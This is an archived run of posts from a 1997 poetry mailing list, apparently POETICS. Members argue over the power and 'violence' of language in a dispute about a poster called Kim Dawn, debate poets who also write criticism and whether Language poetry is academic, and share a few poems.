Gloria Anzaldua (Chicana poet/critic), Audre Lorde, June Jordan, Michelle Cliff, Aime Cesaire (poet/theorist of negritude), Wole Soyinka (Nigerian poet, dramatist, critic), Paula Gunn Allen, Leslie Marmon Silko, Gerald Vizenor, Trinh Minh-ha, Salman Rushdie (not strictly speaking a "theorist" but ...), Sara Suleri (Pakistani novelist/theorist teaching at Yale), Umberto Eco (semiotician, novelist - if you can call them "novels"), Eduardo Galeano, Emerson, David Dabydeen (poet, theorist, director), Kamau Brathwaite, Chinua Achebe, Ngugi wa Thiong'o (slugging center fielder for the Pistons), Wole Soyinka, Chinweizu, Cheikh Anta Diop, Hans Haacke, Blanchot, Paul Miller, Borges, Walter Benjamin, Mallarme, Salman Rushdie, Gita Mehta, Alfred Kazin, Nicholson Baker, David Foster, Wallace, Georges Bataille, Andre Breton, Sergei Eisenstein, Leonardo, Nadar, T.S. Eliot, Matthew Arnold, Ezra Pound, E.A. Poe, Kenneth Burke (he wrote a novel and some poetry), Virginia Woolf, Zora Neal Hurston, Adrienne Rich (wrote about basic writers at CUNY in the 70s), Tom Wolfe (not Thomas, that I know of), Toni Morrison, Cecil Day Lewis, Barbara Kruger, Sir Phillip Sydney, Alexander Pope (there's a M. Pope that plays for the 49ers, if that's helpful), Wordsworth, Coleridge, Alberti, Vasari, Paul Hindemith, Corbusier, Virginia Woolf, Eisenstein, Pasolini (One Hundred Days of Sodom, there's a great theoretical film for ya), Godard, Truffaut, Chabrol, Rohmer, Rivette (the New Wave is defined as those who wrote as critics for Cahier du Cinema before becoming film makers), Robbe-Grillet, Sartre, Camus (actually, most of the existentialist philosophy reads better as fiction), and I should just say, all French poets or writers or film makers are theorists AND artists because they ALL like to talk about art as much as do art (there's a generalization for you), George Gross, Brecht, Sandra Gilbert, Goethe, Mary Shelly, Whistler, Anna Devere Smith (performance artist, theorist, professor at, ummm, Stanford?), N. Scott Momaday (poet, novelist, director of the Native American Studies program at Arizona), Oscar Wilde, Plato, Kierkegard, Anais Nin, Alvin Ailey, most/all of the Black Mountain people, Johanna Drucker and, the numba ONE all-round, poet/theorist/baseball playing/film making/metaphor mixing fool:

Studs Terkel.

Now, whether some/all are regular and to effect, that only their endocrinologist knows for sure.

More to the pt perhaps, John Koethe's article in Critical Inquiry 18 (autumn '91) may be of interest, "Contrary Impulses: The Tension between Poetry and Theory"

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190. David Israel
Re: power in language / locus classicus, p.s.
Mon 7 Jul 1997

Being a Gemini, seems one post requires its twin (or at least postscript), and so it is in this instance. Now, thinking abt. my concluding remark,

<< If the sensibility of another has been bruised by that person's misreading of my attempt at art . . . >>

it occurs to me that the word "art" may be a bit too specific, and that the word "communication" is even more germane. It also occurs to me that Kim Dawn's concluding notation,

> *(this is not poetry)*

might elicit pleasing recollections of Rene Magritte's famous bon mot. However, it further occurs to me that Dale's nipple-clip followup text was an attempt to translate back into terms more instantly accessible to a woman the nature of the sense of violent-threat rhetoric presented by the cited KD text as read by a man (or, particularly, as one may imagine it read by the person to whom it is addressed). It further occurs to me to remark that, strange but true

if you prick me I will bleed (as said the Jew)

an observation that Dale was, it seems, pointing out in his (perhaps regrettable) rhetorical counter-salvo; -- and as Tom Mandel was likewise (in much more measured manner) reiterating. It seems surprising that men might be sensitive to some offence at language of the KD fashion? -- whereas if a kindred text were posted from opposite gender to opposite gender, would it have occasioned a kindred brauhaha at this listserv hippie carrot juice bar? (I suspect so . . . except that perhaps the poster of such a text would've been tarred & feathered more readily, with less articulate defense in evidence.)

cheers (& hey, with celery juice, it's even better),
d.i.

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191. Mark Weiss
(no subject)
Mon 7 Jul 1997

"The bar metaphor crops up on *many* lists, and it's no accident that it does; we carry our conceptions of and our actions in the physical social spaces we inhabit to our virtual hangouts. The intrusion of the performance space (far more

congenial to feminist efforts) into the bar is seen as an interruption rather than a potential liberation from stereotype."

I was scratching my balls down at the local gin mill with a bunch of other white male poets when I read the above, and I must say we were all surprised. Do you mean that we've been right all along, that women really are more histrionic than men?

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192. **dbkk**

Re: power in language

Mon 7 Jul 1997

At 4:53 PM +0100 7/7/97, Kali Tal wrote:

> *I do *not* think that Bellamy's text urges the reader to draw the conclusion that Bellamy is making an "analogy" nor that she is being metaphorical. When you say something should be categorized as sexual violence, you are not saying that something should be distinguished from something else "as if it were" sexual violence, nor are you saying that it "is sexual violence" as one might metaphorically state, "Kali is a pit bull," meaning "Kali has the characteristics of a pit bull." If this is what Bellamy means, then I hope she will come forward and say so, but it is not present--as far as I can detect--in the text.*

Kali,

I only brought up the violence issue because I was accused of rhetorical violence, which is bizarre given the acceptance of KD's behavior. I don't care to comment on your interpretations of my text except to say--go ahead and deny the psychological power of language. When people here are capable of seeing the poignancy and power of breaking a line at a certain point as opposed to breaking it at another point, I'm sure they too can see that attacks made by KD have far more of an impact than you credit them with in your theory games. So play on.

Dodie

p.s.

I also feel that trotting out the Oppression Women in response to Dale's message is a cheap shot and demeans women as much as anything he might say.

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193. David Israel
Re: power in language / locus classicus, p.p.s.
Mon 7 Jul 1997

---

pardon, #3 of a series (& that's all from me for today, folks) . . .

in my #1 post, I was sloppy & wrote "allegory" where I meant "analogy"

d.i.

↑ Index

194. Mark Weiss
(no subject)
Mon 7 Jul 1997

I've just realized, and I'm mortified that it took me this long, that my posts are forwarded to the list by means of a "mail server." I must confess that as a man I found this gratifying for a moment, but after a bout of self-criticism I have arrived at a resolution to do something to change the situation. Non-techy that I am, I'm at a lost where to start. Any suggestions?

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195. Eliza McGrand- CVA Guest
a cigar is a cigar and a bar is a bar
Mon 7 Jul 1997

---

why on EARTH are we chiding a bar for not being a place that challenges sexual stereotypes, etc.

shall we chide the toilet paper aisle at the supermarket? the upper right half of an elevator? the second quadrant of venus?

a bar is a place where people get together and hang out after a hard days work (or not). where there is oppression, yes, challenge it -- including when someone, of any gender, mounts a really VICIOUS attack of sexual harrassment aimed at humiliating someone.

and the reason kim dawn's identity is in doubt is because the posts have been so very bizarre they recall several efforts by tricksters of old to make fun of the Earnest Liberal quality of the list, as well as a number of now infamous cyberspace pranks. also, various bits of elementary computer research turn up strange and conflicting accounts of kim dawn. also, this list was "made" by a spammer with a false id in the past at least once that i know of to the suffering of many, and the "kim dawn" uh, ouevres, recall the worst of that unfortunate era.

yes, dodie, there IS something grotesque beyond irony in the defense of kim dawn's really mean-spirited attacks right and left being defended by calling your pretty straightforward, patient for a long time responses violent or sexually violent. i notice all of the kim dawn defenders never engage with her absolutely inexcusable misreadings of me -- inexcuseably inaccurate in repeat generations despite several corrections to the point of appallingly hypocritical carelessness, spite, or both. no, instead they snap about the margins, trying to make that end part of green out to be red, and they ignore that flagrantly loud kelly green mess smack dab in the center of the canvas whilst declaiming "how cerise her performance!" hey, wake up -- the emperor has no clothes. the emperor has no clothes.

...and ye shall know them by their misreadings... - nuff said? e

↑ Index

196. **Mark Weiss**

Re: power in language

Tue 8 Jul 1997

Kali--I realize that you're likely to respond by showing us your purple hearts, but don't you think that you're mounting this rather extreme offensive in the safest possible place? Especially, as you assure us, that "sticks and stones," etc.

At 09:31 PM 7/7/97 +0100, you wrote:
>>I only brought up the violence issue because I was accused of rhetorical
>>violence, which is bizarre given the acceptance of KD's behavior. I don't
>>care to comment on your interpretations of my text except to say--go ahead
>>and deny the psychological power of language. When people here are capable
>>of seeing the poignancy and power of breaking a line at a certain point as
>>opposed to breaking it at another point, I'm sure they too can see that
>>attacks made by KD have far more of an impact than you credit them with in
>>your theory games. So play on.
>
>"Rhetorical violence?" How so? And I do *not* deny the psychological power
>of language; I simply say that "violence" in language is possible only when
>the reader perceives the author has some sort of power over him/her.
>Without the real-world relationships which back the language, threats become
>bluster or simply noise. That's why the armless, legless knight in Monty
>Python screaming that he's going to bite the knees off of his opponent is so
>fucking funny. That's why the scene in which Ving Rhames's character is
>being threatened with anal rape in _Pulp Fiction_ is not funny at all.
>That's why there's a difference, say, between a parent screaming abusive

>insults at a small child, and a small child screaming insults at a parent.
>The texts produced by Kim Dawn had, as far as I can tell, *no* effect except
>to draw fire down on Kim Dawn and anyone rash enough to argue that one
>*ought* to make distinctions between "threats" and hopelessly
>unrealizable--therefore playful, whether one likes that sort of play or
>not--scenarios. Crikey.
>
>>I also feel that trotting out the Oppression Women in response to Dale's
>>message is a cheap shot and demeans women as much as anything he might say.
>
>I don't know who the Oppression Women are, but I assume that they share a
>house with the Politically Correct--backlash figments of male imagination, a
>rhetoric adopted by women who are afraid of being seen as members of those
>imaginary categories by reactionary men.
>
>To mention women's oppression is taboo these days, as it is to mention the
>oppression of people of color. It's so... so... *unfair* to all those poor
>oppressed white men out there who've been victimized by having to live their
>lives without any ethnicity or gender identity. And it makes decent white
>guys who are *trying* to Do The Right Thing so... uncomfortable. Sheesh.
>
>How is it demeaning to women to point out that women are the targets of the
>basest attacks on POETICS? How is it demeaning to women to examine sexist
>structures in rhetoric or in f2f encounter? I am a feminist and I
>can't/won't/doanwanna move through the world without recognizing and
>describing the sexist and racist power structures I see in play. What is it
>to me if certain folks on POETICS don't like what I have to say or how I say
>it? I don't like what they say or how they have to say it.
>
>A rhetorical move which tries to depict me as playing some sort of victim or
>promoting that man-made invention "victimology" (Oppression Women???) will
>surely backfire. And surely it is Dodie Bellamy who is promoting victims
>here--victims of Kim Dawn's allegedly vicious assaults, poor wilting
>creatures walking around traumatized (big red "V"s painted on their
>foreheads) because her texts had "far more of an impact" than I "credited
>them with."
>
>Kali
>
>"Is it not good for me to come and draw forth a spirit, to see what kind of

>spirit people are of? I see that some of you have got the spirit of a goose,
>and some have got the spirit of a snake. I feel at home here." --Sojourner
>Truth
>
>

↑ Index

197. KIM DAWN BAKER

body made of air

Tue 8 Jul 1997

---

she s sa body of air
bodyofairbodyofairbodyofair
'le corps est le corps/il est seul/et n'a pas besoin d'organe/le corps
n'est jamais un organisme/les organismes sont les ennemis du corps.'
-antonin artaud
'the body is the body/it is all by itself/and has no need of organs/the
body is never an organism/organisms are the enemies of the body.'
-deleuze&guattari/anti-oedipus

(the story of the girl who lived under the floor)
she looked up at them from cracks between the wood
these spaces hit her face
bits of light
bite-sized
bits of strawberry jam
fell upon her mouth
from their morning breakfast

she lied under the table
reading the inscription on the underside
they put a bowl down
and introduced her as the family dog

she built a cave coming out from the wall
she went underneath
they couldn't tell anymore
whether it was her or the wall.

kimdawn

↑ Index

198. **Alan * Sondheim**

A Poem By Mr. William Butler Yeats (fwd)

Tue 8 Jul 1997

=--=

CRaZy JANE TALkS WITH THe BIsHaP

i meT thE BIshap an thE Raad
And Much sAid hE and I.
'thase Breasts aRe flat and faLlen Naw,
ThOse vEins Must SaOn be Dry;
LiVe in A heaVeNly MansIan,
Nat in same fauL sTy.'

'FAir and fauL aRe near af kin,
And fair needS fauL,' i crIed.
'my friendS aRe ganE, but that'S A trUth
NAr grAvE nAr bed dEnIed,
Learned in bOdily lawliNess
And in thE HearT's PriDe.

'A waman can be PrauD and sTiff
WHen an Lave IntEnt;
But lave has pItchEd his MansIan In
ThE plAcE af eXcremenT;
FOr nAthinG can be Sale ar whalE
ThAt has nat been rent.'

by mr. william BuTler Yeats

↑ Index

199. **Mark Weiss**

Re: power in language

Tue 8 Jul 1997

> *I know what my stake is. What's yours?*
>
> *Kali*

Tenderloin, they tell me.

↑ Index

200. **Mark Weiss**
Re: power in language
Tue 8 Jul 1997

Can't have it both ways, Mark.
>If this place *is* safe, then, Kim Dawn's writing--like my writing--was
>*just* writing and no threat.
>
>Why do you engage with me on this level? What is in this performance for
>you? I know what my stake is. What's yours?
>
>Kali
>

Strange as it may seem, I haven't said anything at all about Kim Dawn's writing. Have I been subsumed into the great faceless opponent?

↑ Index

201. **Mark Weiss**
Re: power in language
Tue 8 Jul 1997

> *Why do you engage with me on this level? What is in this performance for you?*
> *Kali*

A courtship ritual.

↑ Index

202. **George Bowering**
Re: power in language
Tue 8 Jul 1997

> *Why do you engage with me on this level? What is in this performance for you? I know what my stake is. What's yours?*
>
> *Kali*

Isnt it obvious, Dr.? He's part of the conspiracy.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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203. **Michel Delville**

Bob Grumman's list poetic schools / Is Langpo acadominant?

Tue 8 Jul 1997

I'd like to add the following comments to the growing list of responses to Bob Grumman's list of poetic schools:

(1) I don't think you have to know a lot about the academy or about the socio-economic aspects of poetry in America to define Langpo as "acadominant". Nor should you feel guilty or embarassed about it, Bob. It seems obvious to me the main theoretical premises practiced and/or advocated by many Language poets correlate with a number of key tenets of contemporary academic theory, including the post-structuralist attack on the "unified" subject, its distrust of the neutral "transparency" of expository discourse, Marxist literary theory, Derrida's critique of Western metaphysics, not to speak of the current interest in genre studies as a tool for a critical investigation of the interaction between literary artefacts and prevailing socio-cultural practices. The list could go on and on forever . . . To pretend that this has nothing to do with the entrance of U.S. colleges into the intellectual life and creative pratices of poets is simply absurd. That the collusion between Langpo and dominant academic DISCOURSE is not automatically translated into a cornucopia of academic jobs for ALL Language poets and scholars working in the field (cf. Ron Silliman's message) does not in any way invalidate Bob Grumman's characterization of the movement as "acadominant". Right now, I can think of at least 20 scholars and poets who are desperately looking for jobs both here (in Belgium) and there (in the U.S.) despite the fact that their work plays right into the current fashion in terms of preferred academic topics and discourse. It's the job situation that is to blame, and it has nothing to do with anybody's alleged position as outsiders or revolutionary-scholars. As for me, I hasten to add, this kind of contamination is still preferable to that which informs the so-called "workshop poem" as practiced in the theoryphobic climate of Creative Writing programs . . .

(2) The term "Deep Image" was not coined by Bly but by Jerome Rothenberg -- I'm not sure where and when he first used the term but I think it was originally related to his analysis of Spanish Surrealist poetry.

Michel Delville
English Department
University of Liège
3, Place Cockerill
4000 LIEGE
(BELGIUM)

Fax: ++ 32(0)4 366 57 21
e-mail: [redacted]

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204. **Kali Tal**
Re: identity/poetics
Tue 8 Jul 1997

> *I realize that this is off current topic (and possibly of little interest), but have to say that such a characterization of _Life in the Iron Mills_ is false. Sharon Harris, author of a book on RHD, observes that "the narrator is clearly represented as middle-class; she (or he, since the sex is not indicated) is clearly someone *observing* the working class."*

Sorry, you're right about this. I should have included the Davis book lower down in my list, along with Gaines' _Autobiography of Miss Jane Pittman_ and other books whose *authors* did not intend the book to be taken as personal experience, but whose audiences often naively read the book in that manner. I do remember that when I first read the book, which was assigned in a college course, the professor had to explicitly state that the author was *not* working class because many students assumed that she was even after reading the text. The author's best efforts may not be successful when faced with an audience well-prepared to misread.

Kali

↑ Index

205. **Kali Tal**
Re: power in language
Tue 8 Jul 1997

> *What are "real world relationships"*
> *before they are language?*

"real world relationships"

the first language is restraint
pull and push
away when reaching toward
against when shoving off
hand talk
is about wanting
and withholding

the rest is gloss
put your body where your mouth is

k.

↑ Index

206. **rsillima**
Time, jobs, etc.
Tue 8 Jul 1997

The idea of the poet as a univ. professor is an historically recent (and, it would seem, short-lived) phenomenon. None of the high modernists before Zukofsky jabbered at teenagers in front of a black board for a living. People like Stanley Kunitz and Genevieve Taggard were among the very first to get jobs in universities *as poets* under any terms. We tend to forget that American literature has been a "legit" topic on campus for less than 100 years. So it was no big deal that Stevens worked at Hartford. It *was* a big deal that he was successful at it.

Time Magazine (and its companion Life) is not a bad thumbnail index of official culture, esp. in the 1936-70 timeframe. I don't know what they thought of Stevens or WCW, but they did do a special issue on poetry (not a "single author" job like the recent Robert Hughes deal on the visual arts, which was too hokey and shallow for words, but did have some nice illustrations) in 1964 that had Robert Lowell on the cover. It would be worth it to look up that particular issue and report back what it said of Verse.

Actually, the times when those kinds of publications weighed in on poetry earlier tended to be around extra-literary news items, Pound's trial and the controversy over the Bollingen award in the late 40s, Ginsberg's trial over Howl in the mid-50s. Lots of humor at the expense of the beats.

When I got my first job post-college in '72 in the prison movement, I never told any of my co-workers I wrote. One day, somebody posted a review I'd done (a positive one at that) of Tom Clark's Neil Young that had been published in Rolling Stone and I was "busted." Nowadays, you get a job and your new co-workers check out Alta Vista or Hotbot to see if you have a website on your first

day. Nowadays I get more comments from co-workers about things that have showed up on the Sixties Listserv (hosted by our own Kali Tal).

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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207. Rachel Loden
Re: identity/poetics
Tue 8 Jul 1997

Kali Tal wrote (some time ago--am digging my way out of 834 messages):

> *And then there are the well-known "fakes" by white authors, like "Danny Santiago's" _Famous All Over Town_ or, to bring class into it, Rebecca Harding Davis' _Life in the Iron Mills_.*

I realize that this is off current topic (and possibly of little interest), but have to say that such a characterization of _Life in the Iron Mills_ is false. Sharon Harris, author of a book on RHD, observes that "the narrator is clearly represented as middle-class; she (or he, since the sex is not indicated) is clearly someone *observing* the working class."

Life in the Iron Mills, like all of RHD's early work, appeared unsigned. This was not an attempt at "fakery," but was part of a tradition of (especially female) authorial reticence--the fear of appearing immodest. (Possible shades of current topic!) This tradition was evolving during Davis's lifetime, and her later work is signed.

I know almost nothing about the "Santiago" book, but my understanding is that the (white) author represented himself as Chicano. Davis did nothing of the sort with _Life in the Iron Mills_, so I wonder how you would support the comparison.

Rachel

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208. Tom Mandel
poets and critics
Tue 8 Jul 1997

David Israel, in responding to my tempest in a teapot directed at David Erben, rightly points out that some poets also write criticism.

A poet who writes criticism is *a poet* who *writes criticism.* People do different things, yes. Some poets write criticism, some critics create crossword puzzles, and some crossword puzzle designers write long novels that do not employ the letter 'e' -- no point of poetic or academic or historical or critical or theoretical or any other '-ic' or '-ical' importance is contained in any of these facts.

***

This raises the interesting question of why anyone would mention the fact at all. I didn't in my original post, but I *was* interested to see if anyone was sufficiently addicted to the sound of his/her own fingers clicking to do so. I found out.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

209. Tom Mandel
David Erben's list
Tue 8 Jul 1997

David Erben has provided a long and interesting list of people who write poetry and criticism. David Israel simply mentioned the obvious point that some do. Perhaps the Davids are cooperating in order to illustrate the Erben distinction between "academic and non-academic."

I didn't read the whole list, just scanned it. Even that, however, yielded some names of people I didn't know wrote poetry -- again, that's interesting.

What does this have to do with my post, I wonder?

Roberto Alomar is on the list of baseball players who bat from the left side and bat from the right side. Does this mean that batting from the left side and the

right side cannot be distinguished? That the distinction poses a theoretical problem?

A subject to be discussed at Mark Weiss's "Bar with a Mission" -- What *does* Derrida say about switch-hitting?

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

↑ Index

210. Daniel Bouchard
power in nipples
Tue 8 Jul 1997

It was in fact, at a heterosexual bar once, where my nipples WERE threatened, as A MEANS of changing the social order. No true revolutionary, I declined. The threat came from a ball-scratching white man. Heterosexual bars also distill liquor, which is usually a reason to go.

I have no faith in the bar-list metaphor. If it were anywhere near true, what a drag the place would be.

Long before I came to this "virtual hangout," some gay bars I frequented didn't challenge my social order as much as I had anticipated. All in Philadelphia. The first was a motorcycle bar. Harley's hung from the rafters. We went after a party and since most of the crowd were gay men, they got to choose the bar. We shot some pool. Though not in leather, I was ogled quite a bit. That was nice.

Spent many a night at Hepburn's, a virtual shrine to Katharine. My bisexual girlfriend adored the place, and it was so close to her apartment. At the door, a stream of very young women would pour past the bouncer into the bar, but she stared and sneered at my id for several minutes. I smiled and looked dumb. I was dumb, and the bar itself was beautifully done. Pads of paper and tiny pencils were left at intervals along the bar, and although my companion left my name and number on several of them, no one ever called.

In another bar, on the third floor of an ancient brick rowhouse in a cobblestone alley, we watched from the bar as 14 men dance almost in unison on the

mirrored dancefloor. As they spun in flashing pirouettes my girlfriend kissed me. When I opened my eyes the smiling bartender winked at me.

What a dreamy time that was.

No real point to this post. I'm just sick of talking about Kim Dawn.

[redacted]

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211. Mark Prejsnar
Re: Bob Grumman's list poetic schools / Is Langpo acadominant?
Tue 8 Jul 1997

On Tue, 8 Jul 1997, Michel Delville wrote:

> *socio-cultural practices. The list could go on and on forever . . . To pretend that this has nothing to do with the entrance of U.S. colleges into the intellectual life and creative pratices of poets is simply absurd.*

Sorry but the the general arguments of your post, Michel, strike me as somewhat more absurd....

Most of the poetic tendencies that are seen as alternative to LP (deep image type stuff, the generlized plain-spoken "I" free-verse lyric of APR, etc.) are **far more** anchored in the academy, and dominant there, than is LP. This is why most of my posts in response to Bob's list have been a little irritable. It's so obviously *gratuitous* to link the Lang-ists with academe, given the siting of most U.S. poetry within academic settings, that it seemed that the term could only be intended as a rather heavy-handed put-down. That still seems self-evident to me.

Mark P.

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212. Bennett M. Sm [Dimpson
Re: power in language
Tue 8 Jul 1997

Dear Kali,
Are your men
and women
too heavy
for words?
What are "real world
relationships"
before they are

language?
        One or the other
cliche.
        Just because one has
an X or a Y
        often enough guarantees
little in the way
        power is perceived.
Sides are not chosen
        necessarily, no?
Pen me?
        Would you pen you?
Switzerland,
        Bennett.

On Mon, 7 Jul 1997, Kali Tal wrote:

> *And I do *not* deny the psychological power*
> *of language; I simply say that "violence" in language is possible only when*
> *the reader perceives the author has some sort of power over him/her.*
> *Without the real-world relationships which back the language, threats become*
> *bluster or simply noise.*

&c.&c.&c.&c.&c.&c.&c.&c.
                &c.
Bennett Simpson   &c.
[redacted] &c.
                &c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

213. David R. Israel
Re: David Erben's list
Tue 8 Jul 1997

Tom Mandel sends this almondine:

> *David Erben has provided a long and interesting list of people who*
> *write poetry and criticism. David Israel simply mentioned the*
> *obvious point that some do. Perhaps the Davids are cooperating in*
> *order to illustrate the Erben distinction between "academic and*
> *non-academic." . . .*
>
> *What does this have to do with my post, I wonder?*

point well taken. The fact that (say) poets also write criticism (& contrawise) is relevant to some questions & not to others. The original question (if I can

somehow trace back on the road of thought) had something to do with a difference in cognitive process. No doubt that holds. More particularly, the issue was -- what? -- something about the difference between how categories of idea arise for a poet (i.e., one engaged in discovery, at the source whence the words emerge), and how categories are applied by a critic TO the products of that tenuous language-formation -- i.e., figuring out which cloud looks like an apple & which like an orange, which swirl should be considered "representation" & which "abstraction" . . .

or have I lost the ariadne thread of what we're discussing?

d.i.

```
 .
 .....
 ............
 \\\\
```

At 10:10 AM 7/8/97 -0400, you wrote:
>On Tue, 8 Jul 1997, Michel Delville wrote:
>
>> socio-cultural practices. The list could go on and on forever . . . To
>> pretend that this has nothing to do with the entrance of U.S. colleges into
>> the intellectual life and creative pratices of poets is simply absurd.
>
>Sorry but the the general arguments of your post, Michel, strike me as
>somewhat more absurd....
>
>Most of the poetic tendencies that are seen as alternative to LP (deep
>image type stuff, the generlized plain-spoken "I" free-verse lyric of APR,
>etc.) are **far more** anchored in the academy, and dominant there, than
>is LP. This is why most of my posts in response to Bob's list have been
>a little irritable. It's so obviously *gratuitous* to link the Lang-ists
>with academe, given the siting of most U.S. poetry within academic
>settings, that it seemed that the term could only be intended as a rather
>heavy-handed put-down. That still seems self-evident to me.
>
>Mark P.
>
>

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215. **Jordan Davis**
Re: power in language
Tue 8 Jul 1997

Bennett --
What Switzerland.
(I'm assuming --
There is power in a --
If it ain't --
When the bow --
-- Jordan

↑ Index

216. **David R. Israel**
Re: power in language / "violence"
Tue 8 Jul 1997

> *On Mon, 7 Jul 1997, Kali Tal wrote:*

> *And I do *not* deny the psychological power*
> *of language; I simply say that "violence" in language is possible*
> *only when the reader perceives the author has some sort of power*
> *over him/her. Without the real-world relationships which back the*
> *language, threats become bluster or simply noise.*

"violence" if broadly construed (rather than strictly phyiscally) -- is cognate to "violation," correct? It involves a violation of the person (or persona? or psyche? or integrity?) of another. I think there have been instances of women behaving violently (in both the the realm of body & utterance) toward men; I'm doubtful that it's a one-way street -- if that's the question?

Certainly women-as-poets possess considerable intellectual capital, particularly for those who are apt to read this list.

The power to shame or embarrass through language is a power, no? The casting of doubts, the broad passionate sweep of insinuation, the dark wave of anger, the distancing, the sense of a menacing intention, the taunt of a faux-seductive language, the raising of the spectre of anguish and desire and the ascription, to another, of suppresed impulses as the putative source of the other's utterance, the instinctual reductionism and demasking and naking and debasing and shaming and the ascription of a reprehensible post-Freudian id as the secret life to be broadcast and amplified, turning up the volume of presumed inner chaos -- I think such things were achieved (or certainly attempted) in the locus classicus post, no?

gotta run,
d.i.
.
.....
.....
\\\

| start from where you will . . .
Homer, The Odyssey
Book 1: Athena Inspires the Prince
trans. Robert Fagles (1996)
~~~~~~~~~~~~~~~~~~~~~~~~~ svaha

↑ Index

217. Aldon L. Nielsen
Re: identity
Tue 8 Jul 1997

Spike Jones
Spike Mulligan
etc

↑ Index

218. Bennett M. Sm [Dimpson
Re: power in language
Tue 8 Jul 1997

Jordan,

  Whomever thinks beige
would come between white
and black?
  I'm assuming drifted gloves.
  There is power in a dimple.
  If it ain't words, worms,
thirst.
  When the bow migrates,
or exits the bar.

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
                &c.
Bennett Simpson   &c.
[redacted] &c.
                &c.
&c.&c.&c.&c.&c.&c.&c.&c.

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~~~~~~~~~~~~~~~~~~~~~~~~~

219. Aldon L. Nielsen
Re: acadminished in Boulder
Tue 8 Jul 1997

Since Tom asked, here's Derrida on switch hitting:

"An aphorism is a name but every name can take on the figure of aphorism."

from "Aphorism Countertime"

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220. Bennett M. Sm [Dimpson
Re: power in language
Tue 8 Jul 1997

I like this: Barbara Kruger once said in an interview (somewhere) that her art came out of a desire to balance "the ingratiation of wishful thinking" with "the criticality of knowing better." Does anyone know where this was said? (Or where this balance is?)

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

221. Tom Orange
a cigar is a cigar and a bar is a bar
Tue 8 Jul 1997

eliza, you wrote:
>and the reason kim dawn's identity is in doubt is because the posts have
>been so very bizarre they recall several efforts by tricksters of old...

if posts are "so very bizarre," then doubt identity. if i produce interpretation/value judgment "p", then i can place identity of person "q" under question. take an unknown something so very bizarre, relate it through recollection to a thing known to be odious, so that the unknown now too becomes odious and the identity of the person behind that unknown becomes suspended. this variety of logic really troubles me.

> *yes, dodie, there IS something grotesque beyond irony in the defense of kim dawn's really mean-spirited attacks right and left being defended*

> *[while dodie's straightforward and patient criticisms are called rhetorically violent....] i notice all of the kim dawn defenders never engage with her absolutely inexcusable misreadings of me...*

i guess my efforts to be straightforward, patient, forthright in my partiality, have failed, and are instead, sadly, grotesque beyond irony.

eliza, i discussed extensively off-list with you why i am in no position to engage with kim's absolutely inexcusable misreadings of you. i simply can't speak for someone else. above all i respect the fact that you feel you have been violenced. but what if i found your reaction to be "so very bizarre"? (which i don't) by the very logic your post outlines above, i would be well within my rights to doubt *your* identity. "eliza mcgrand -- if such a person exists." *to me*, that little "if" carries a subtler and therefore more dangerous kind of violence in this kind of electronic space than "let me lick yr orifices cut off yr nipples" etc.

> *...and ye shall know them by their misreadings... - nuff said?*

no, say more, because it's quite amazing what this cute little gem does. it says tom orange is one of "them," true for convenience's sake b/c altho i have been on this list for a long time and have posted on many other topics my posts of late have had a more or less singular focus. next it says that tom orange misreads, leaving open the question of whether i misread locally or globally (and better to leave it nice and open, simply put: he, as one of them misreads). finally, it invites, nay, commands the readers of poetics to know me by my misreadings. to wit i say:

"and when the seventh seal was opened i saw another sign, great and marvelous, which proclaimed the mighty legions of the defenders of kim dawn, and they shall prophesy a thousand two hundred and threescore days, clothed in sackcloth, and they shall carry the mark by which you shall know them, they shall carry the mark of misreading..."

know me as my reading-writing. gnosthi s'auton by yr reading of others. dont know me. at least not by "my" misreadings.

t.

↑ Index

222. Tom Orange

ronald johnson

Tue 8 Jul 1997

---

can anyone with
bibliographic info on

ronald johnson
handy backchannel
it to me? i've done
a bunch of searches
and cant find nuthin.

much thnks,
t.

↑ Index

223. **dbkk**
Re: power in language / "violence"
Tue 8 Jul 1997

Very well stated, David.

Dodie

At 12:17 PM -0400 7/8/97, David R. Israel wrote:

> *The power to shame or embarrass through language is a power, no? The casting of doubts, the broad passionate sweep of insinuation, the dark wave of anger, the distancing, the sense of a menacing intention, the taunt of a faux-seductive language, the raising of the spectre of anguish and desire and the ascription, to another, of suppresed impulses as the putative source of the other's utterance, the instinctual reductionism and demasking and naking and debasing and shaming and the ascription of a reprehensible post-Freudian id as the secret life to be broadcast and amplified, turning up the volume of presumed inner chaos -- I think such things were achieved (or certainly attempted) in the locus classicus post, no?*

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224. **Charles Alexander**
Re: instance of Ashbery
Tue 8 Jul 1997

At 10:13 AM 7/10/97 -0700, you wrote:
>. deemed something of a laughingstock
>>(rather as John Cage was -- or for that matter, Phillip Glass till
>>at least the mid-'80s) in highbrow circles. .
>.>
>
>Phillip Glass is still deemed a laughing-stock by most serious musicians (I
>can hear the brickbats flying already.

Mark, I don't expect this from you: please define, in the context above --
"most"
"serious"
"musicians"
I mean, he's not turned out to be, from work to work, one of my favorite composers, but there are some works by him I like, and I do think he merits respect -- does he really not get it?

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

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225. **Robert Hale**
Re: power in nipples
Tue 8 Jul 1997

A woman threw a shot of tequila on me in a bar in NYC a couple of weeks ago. She (the bartender) was annoyed because I declined to drink it (it was on-the-house). "I'm driving," I told her, (which was true), before she threw it. Under any other circumstance, I would have drank it down and ordered another. I have witnesses who can testify that I wasn't being a jackass, even though it comes naturally. By the way, this was in one of those heterosexual bars.

At 09:50 AM 7/8/97 -0400, you wrote:
>It was in fact, at a heterosexual bar once, where my nipples WERE
>threatened, as A MEANS of changing the social order. No true revolutionary,
